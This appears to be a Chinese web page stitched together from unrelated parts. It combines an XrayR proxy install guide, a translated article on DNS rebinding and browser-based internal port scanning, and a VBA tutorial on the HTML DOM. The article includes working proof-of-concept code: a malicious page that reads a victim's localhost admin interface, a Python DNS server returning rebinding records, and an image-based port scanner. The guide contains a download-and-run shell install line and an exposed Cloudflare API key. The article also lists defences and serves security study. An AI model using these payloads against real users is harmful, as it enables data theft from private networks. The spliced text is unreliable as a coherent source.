rayR開源項目地址:https://github.com/XrayR-project/XrayR
1、XrayR一鍵安裝
wget -N https://raw.githubusercontent.com/XrayR-project/XrayR-release/master/install.sh && bash install.sh
配置文件路徑:/etc/XrayR/config.yml
2、權限組——訂閱管理——節點管理的邏輯關系
權限組只是舉例說明,小伙伴可以根據實際情況設置
添加圖片注釋,不超過 140 字(可選)
訂閱管理的配置模板
<style>
.no-wrap {
white-space:pre-wrap;;
}
</style>
<div class="no-wrap">
迅速的網絡
媒體解鎖
享有IPLC游戲專線
不限制設備數
999 GB 流量/月
400 Mpbs 限速
在線客服售后
</div>
3、SSL設置參考資料:https://go-acme.github.io/lego/dns/cloudflare/
CLOUDFLARE_EMAIL=you@example.com \
CLOUDFLARE_API_KEY=b9841238feb177a84330febba8a83208921177bffe733 \
4、節點配置,參考XrayR詳細教程:https://xrayr-project.github.io/XrayR-doc/dui-jie-v2board/v2board.html
放行端口
本文是翻譯文章,文章原作者bookgin,
文章來源:bookgin.tw
原文地址:https://bookgin.tw/2019/01/05/abusing-dns-browser-based-port-scanning-and-dns-rebinding/
譯文僅供參考,具體內容表達以及含義原文為準
在這篇文章中,我將介紹如何使用DNS重綁定來讀取跨站的內容,而第二部分是利用DNS fallback機制來進行內網端口掃描。這兩種攻擊方式,只要求受害者點擊鏈接打開含有惡意內容的網頁。
眾所周知,同源策略是一個瀏覽器的基本安全策略。因為默認的情況下,瀏覽器會阻止獲取來著非同源的內容。如果有一個用戶訪問了我的網站example.com,我就不可以用iFrame來竊取他在Youtube (youtube.com) 的瀏覽記錄。
然而,域名后有個IP地址,假設 example.com 解析到 93.184.216.34, 而 youtube.com 解析到 216.58.200.46。這里有個很酷的辦法:不改變域名,那就不會違反同源策略,但是又可以令瀏覽器實際上是從 216.58.200.46獲取內容:
攻擊成功!然而,當然 youtube.com 這么攻擊時沒用的,對于DNS重綁定技術的局限性和防御措施,請參考下面的防御措施部分。
所以可以假設有這樣一個場景,當有個的管理員界面運行在 127.0.0.1:8080,因為它只能通過本地訪問,所以你認為沒有必要為它設置密碼保護。倘若管理員界面中的敏感信息在127.0.0.1:8080/account/information,我們是可以繞過同源策略并且從這個頁面上竊取信息。這個攻擊場景是相當具有實際意義的,這兒有一個真實的案例。
假設受害者使用Chromium 71,并且點開了我們含有惡意內容的網站 example.com:8080 ,一開始它被解析到 240.240.240.240。
不幸的是,DNS重綁定攻擊沒辦法可以這么直接地實施。由于DNS緩存機制,當域名一開始解析到 240.240.240.240 (攻擊者的IP),瀏覽器會把它緩存下來,并且下一次就不會再進行DNS查詢了。
要繞過這個限制,我們可以自建DNS服務器,返回給多個A記錄給客戶端。
;; ANSWER SECTION:
example.com. 0 IN A 240.240.240.240
example.com. 0 IN A 0.0.0.0
當DNS服務器響應中包含多條A記錄的時候,Chromium首先會嘗試連接到 240.240.240.240 ,如果240.240.240.240 無法訪問(連接被拒絕或者路由不可達),它就會使用0.0.0.0 作為fallback(備選)。
注意:Chromium并不一定總是會在一開始把域名解析到240.240.240.240 ,還有可能會被解析到第二項 0.0.0.0 (localhost),出現這種情況的時候再試幾次就好了。
0.0.0.0 才是要點所在,我們不能用 127.0.0.1 ,否則Chrome會在一開始就直接把域名解析到 127.0.0.1 ,這樣我們就沒法讓受害者訪問我們的惡意網站了。然而,在使用 240.240.240.240 和0.0.0.0的時候,Chrome才會在一開始先解析到240.240.240.240
因此,等受害者一訪問 example.com, Chromium就會把它解析到240.240.240.240,如下是我們搭建的惡意網站的內容:
<!doctype html>
<html>
<script>
var readContent=function() {
fetch("//example.com:8080/account/information").then(r=> r.text()).then(t=> console.log(t));
};
setInterval(readContent, 1000);
</script>
</html>
然而,我們之前說過Chromium會把example.com 的解析結果240.240.240.240緩存下來,這樣一來我們就永遠也沒辦法從 0.0.0.0:8080的管理員界面竊取數據了。因此我們要做的是,把位于 240.240.240.240的Web服務器暫時關掉,基于DNS fallback機制(再次訪問的時候連接被拒絕),Chromium就會從 0.0.0.0:8080.獲取內容,這樣一來,我們就能在不違反同源的前提下竊取數據了!
這個Poc在Chromium 71有用,其他復雜的PoC可以參見Github上的項目singularit.
不過,這種攻擊也有一定的局限性。網站開發者們可以利用局限性來防止他們的網站受到攻擊:
【1】不發送Cookie: 令網站只支持使用IP地址訪問,這樣瀏覽器就不可能把網站的Cookie發給攻擊者了。【2】驗證請求頭中的HOST字段:令網站驗證HTTP請求頭里的Host字段,這樣就杜絕了漏洞,因為HOST是example.com:8080.【3】使用HTTPS:當域名不正確的時候,瀏覽器會拒絕TLS連接。
#!/usr/bin/env python3
# Python 3.6.4
#
# dnslib==0.9.7
from dnslib.server import DNSServer, DNSLogger, DNSRecord, RR
import time
import sys
class TestResolver:
def resolve(self,request,handler):
q_name=str(request.q.get_qname())
print('[<-] ' + q_name)
reply=request.reply()
print('[->] 240.240.240.240+127.0.0.1')
reply.add_answer(*RR.fromZone(q_name + " 0 A 240.240.240.240"))
reply.add_answer(*RR.fromZone(q_name + " 0 A 127.0.0.1"))
return reply
logger=DNSLogger(prefix=False)
resolver=TestResolver()
server=DNSServer(resolver,port=53,address="0.0.0.0",logger=logger)
server.start_thread()
try:
while True:
time.sleep(1)
sys.stderr.flush()
sys.stdout.flush()
except KeyboardInterrupt:
pass
finally:
server.stop()
是不是發現DNS Fallback的機制還蠻有趣的?這個部分我們來談談如何利用這個機制進行內網端口掃描。
辦法很直接,很容易就能想到,假設DNS解析結果長這樣:
;; ANSWER SECTION:
example.com. 0 IN A 127.0.0.1
example.com. 0 IN A 240.240.240.240
因為:Chromium總是會首先把域名解析到 127.0.0.1 ,而只有在連接127.0.0.1失敗的時候,才會嘗試去連接 240.240.240.240。所以說,我們可以利用這個現象來檢測端口是不是開放的。
基于瀏覽器的端口掃描惡意源碼:
<!doctype html>
<html>
<body>
<div id="images">
<div>
</body>
<script>
var images=document.getElementById("images");
for (let port=13337; port < 13340; port++) {
let img=document.createElement("img");
img.src=`//example.com:${port}`;
images.appendChild(img);
}
</script>
</html>
我們在自己服務器 240.240.240.240上開放 13337 – 13340 端口,如果端口接收到了來自客戶端的連接,那么這就意味著在受害者的本機上,對應的端口是關閉的。
為了能掃內網,我們想知道受害者的私有IP地址,HTML5 WebRTC技術可以用來泄漏受害者的私有IP地址,可以參考這個PoC。其實HTML5看上去還有很多的特性,這些特性很容易會被濫用。
當然也有另外的辦法來實現端口掃描,可以參見這兩位前輩的相關文章:
【1】基于WebRTC+XHR的延時攻擊:Skylined uses timing attack based on WebRTC+XHR【2】基于iframes和一些小技巧檢測連接是否被拒絕:Gareth Heyes uses iframes
我一直在想:當點擊一個無關痛癢的鏈接,即使我什么也不提供,會發生什么?攻擊者可以做些什么?
【1】家庭網絡內網掃描【2】找到IoT設備的網頁入口 192.168.1.2:8000 以及在192.168.1.1:8080的WiFi管理員界面【3】發送惡意請求控制IoT設備,比如最簡單的可以打開家里的門。【4】…
好吧,可能有點夸張,但這聽起來真的有可能,看看這篇文章),不是嘛?下次點開鏈接之前記得三思而后行。
Gareth Heyes, 基于瀏覽器進行端口掃描內網
Skylined (@berendjanwever), 內網掃描器
NCC Group Plc, Singularity: 一個DNS重綁定攻擊框架
Michele Spagnuolo, DNS重綁定的威力:用一個網站來竊取WiFi密碼
Brannon Dorsey, 用DNS重綁定攻擊私有網絡
歡迎登錄安全客 -有思想的安全新媒體www.anquanke.com/加入交流群113129131 獲取更多最新資訊
原文鏈接: https://www.anquanke.com/post/id/213413
分享成果,隨喜正能量】“人情似紙張,世世如棋局”,對外疊加期待,就是對己的庸人自擾。人世間坎坷起伏,學會戒掉依賴,降低期待,控制敏感,多一份淡然,順其自然,反而更容易獲得意外之喜。
《VBA信息獲取與處理》教程是我推出第六套教程,目前已經是第一版修訂了。這套教程定位于最高級,是學完初級,中級后的教程。這部教程給大家講解的內容有:跨應用程序信息獲得、隨機信息的利用、電子郵件的發送、VBA互聯網數據抓取、VBA延時操作,剪貼板應用、Split函數擴展、工作表信息與其他應用交互,FSO對象的利用、工作表及文件夾信息的獲取、圖形信息的獲取以及定制工作表信息函數等等內容。程序文件通過32位和64位兩種OFFICE系統測試。是非常抽象的,更具研究的價值。
教程共兩冊,八十四講。今日的內容是專題八“VBA與HTML文檔”:文檔的訪問端口DOM
大家好,我們繼續對HTML文檔進行學習,在前幾節中我們認識了網頁文檔上面的各種元素,那么我們又該怎么訪問他們呢,是如何實現呢?其實,HTML文檔,提供了訪問其元素的端口,這就是HTML DOM,其定義了一套標準的針對 HTML 文檔的對象訪問或操作的機制。HTML DOM 定義了所有 HTML 元素的對象和屬性,以及訪問它們的方法。換言之,HTML DOM 是關于如何獲取、修改、添加或刪除 HTML 元素的標準。
每個載入瀏覽器的 HTML 文檔都會成為 Document 對象。Document 對象使我們可以從腳本中對 HTML 頁面中的所有元素進行訪問。Document 對象是 HTML 文檔的根節點。
特別注意:Document 對象是 Window 對象的一部分,可通過 window.document 屬性對其進行訪問。
集合 描述
all[] 提供對文檔中所有 HTML 元素的訪問。
anchors[] 返回對文檔中所有 Anchor 對象的引用。
applets 返回對文檔中所有 Applet 對象的引用。
forms[] 返回對文檔中所有 Form 對象引用。
images[] 返回對文檔中所有 Image 對象引用。
links[] 返回對文檔中所有 Area 和 Link 對象引用。
VBA直接支持調用的對象有限,如下:
對象 描述
Document 代表整個 HTML 文檔,可被用來訪問頁面中的所有元素
Anchors 代表 <a> 元素集合
Body 代表 <body> 元素
Forms 代表 <form> 元素集合
Frames 代表 <frame> 元素或<iframe> 元素集合
Images 代表 <img> 元素集合
Links 代表 <link> 元素集合
Options 代表 <option> 元素集合(select元素里面可以直接使用)
Cells 代表 <td> 元素集合(table元素里面可以直接使用)
Rows 代表 <tr> 元素集合(table元素里面可以直接使用)
All 對象集合,提供對文檔中所有 HTML 元素的訪問。
上述VBA支持直接調用對象的元素,調用起來就非常方便了,可以用序號調用,例如forms(0),也可以按名稱/ID調用,例如forms(“名稱/ID”)。其他沒法直接調用對象的元素,可以間接從通用all對象集合中去調用該元素或該元素對應的dom對象。
(待續)
本節知識點回向:
什么是HTML DOM文檔的屬性,常用的屬性有哪些。
本節參考文件:008工作表.xlsm
我20多年的VBA實踐經驗,全部濃縮在下面的各個教程中,教程學習順序:
【分享成果,隨喜正能量】只要健健康康、平平安安,生活就是最美滿的生活,日子就是頂好的日子。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。